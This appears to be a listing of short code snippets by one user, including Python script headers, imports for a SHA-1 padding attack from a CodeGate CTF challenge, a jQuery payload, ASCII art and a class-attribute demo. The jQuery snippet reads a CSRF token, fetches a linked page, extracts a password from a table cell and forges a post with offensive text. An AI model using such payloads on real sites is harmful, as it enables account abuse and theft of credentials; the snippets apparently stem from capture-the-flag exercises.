eskerda

#!/usr/bin/env python
import logging
import random
import socket
import sys
import urllib

HOST = "localhost"
PORT = 3000
N_INSTANCES = 4

eskerda

import urllib
import hashlib
import requests

from shaext import shaext

"""
http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/
- shaext.py
- code from sha-padding.py

eskerda

$(function(){
var action = $('#new_post').attr('action');
var csrf = $('#new_post input[name=_csrf]').val();
var url = $('table a').attr('href');
$.get(url,function(response){
  var html = $(response); 
  var pwd = html.find('td')[0].innerText;
  $.post(action, {_csrf: csrf, title: "NOT SO AWESOME", body:"FUCK YOU"});
});});

eskerda

/*

                     /|       |\                       
                  `__\\       //__'                    
                     ||      ||                        
                   \__`\     |'__/                     
                     `_\\   //_'                       
                     _.,:---;,._                       
                     \_:     :_/                       
                       |@. .@|                         

eskerda

class Base(object):
    things = []

    def update(self):
        print "I do nothing"

class A(Base):
    def update(self):
        self.things.append('This is A')